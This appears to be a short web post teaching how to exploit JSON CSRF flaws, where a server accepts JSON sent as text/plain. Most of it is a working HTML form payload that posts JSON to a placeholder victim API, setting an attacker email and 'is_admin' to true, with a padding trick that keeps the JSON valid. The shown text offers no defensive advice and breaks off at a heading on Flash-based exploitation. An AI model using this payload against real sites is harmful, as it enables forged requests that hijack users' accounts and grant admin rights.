JSON CSRF Attack Exploitation

Listen to this Post

Featured Image
JSON CSRF attacks occur when a server accepts JSON data but fails to enforce proper Content-Type validation. If the server processes requests with `Content-Type: text/plain` instead of application/json, an attacker can craft a malicious HTML form to submit JSON data via CSRF.

Exploitation Steps:

1. Craft a Malicious HTML Form:


<form action="https://victim-site.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]","is_admin":true,"padding":"' value='dummy"}' type="hidden">
<input type="submit" value="Submit">
</form>

– The `enctype=”text/plain”` bypasses JSON validation.
– The `padding` field ensures valid JSON syntax.

2. Using Flash (.swf) for Advanced Exploitation: